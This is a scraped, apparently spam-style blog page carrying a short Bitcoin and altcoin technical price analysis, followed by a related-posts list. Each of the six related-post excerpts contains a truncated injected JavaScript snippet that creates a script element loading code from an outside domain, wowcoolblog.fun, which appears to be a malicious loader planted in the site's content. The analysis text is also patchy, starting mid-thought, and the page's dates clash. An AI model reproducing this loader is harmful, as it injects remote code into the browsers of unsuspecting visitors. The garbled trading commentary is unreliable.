forex Christiana Bitcoin and Altcoins Price Analysis: Wait for Breakouts

Christiana Bitcoin and Altcoins Price Analysis: Wait for Breakouts

Altcoins are back in consolidation mode these days as traders appear to be waiting for stronger market catalysts. Will we see breakouts soon?

Check out this ranking of bitcoin and its buddies for the past seven days:

Cryptocurrencies Price Performance from MarketMilk

BTC/USD: Daily

Bitcoin

Then again stochastic is pointing lower to reflect a pickup in selling pressure, which might be enough to take bitcoin down to the support at the 38.2% extension around $4,450.

ETH/USD: 1-hour

Ethereum

Price just bounced off the top of the triangle and seems to be setting its sights back at support around $130. Technical indicators like the moving averages and stochastic are suggesting that the drop could carry on.

LTC/USD: 1-hour

Litecoin

Note that the 100 SMA is below the 200 SMA to hint that support is more likely to break than to hold. Also, stochastic is moving south so price could follow suit while sellers have the upper hand.

XRP/USD: 1-hour

XRP

The 100 SMA is also above the 200 SMA to indicate that the path of least resistance is to the upside or that support is more likely to hold than to break. In that case, another bounce to the top of the triangle might follow.

Just be warned, there is a considerable amount of risk in trading cryptocurrencies due to their inherent volatility and sensitivity to headlines. Be careful out there!

Add Comment
forex
Thursday, November 1, 2018

Share

Like

G+

Tweet

Tweet

Related Posts

  • Heike The Top 4 Simple Forex Trading Strategies That Work var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Daniele Chart Art: Swing Trades on USD/JPY and GBP/USD var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Hilda Self-Coaching for Forex Trading Newbies: Part I var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Sharika Bitcoin and Altcoins Price Analysis: BTC Back in Selloff Mode? var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Loris Q1 2020 Review: HLHB Trend-Catcher System var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e
  • Maryam Forex Trading Tips For Beginners var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/9Q7f8B?se_referrer=' + e

Next Last Home

Weekly Posts

  • Jen January Brings Resolutions and Reflection – and Divorce
    Every year, the number of couples filing for divorce increases between the months of January and March. The question is: why do so many cou...
  • Dawne IVolatility Tools: Probability Calculator
    The S&P 500 Index advance continues from its December 26 th low at 2346.58, but it’s yet to exceed the December 3 rd high at 2800.18. W...
  • Phebe Jimmy Hoffa disappeared – and then his legacy took on a life of its own
    Author Professor of American Studies, Pennsylvania State University Disclosure statement David Scott Witwer does not work for, consult, own...

Label

  • adult
  • casino
  • coins
  • dating
  • forex
  • healthy
  • movies
  • option

Contact

Name

Email *

Message *

Copyright © 2020 my mini blog All Right Reserved
Created by My mini blog | and Janson McClintock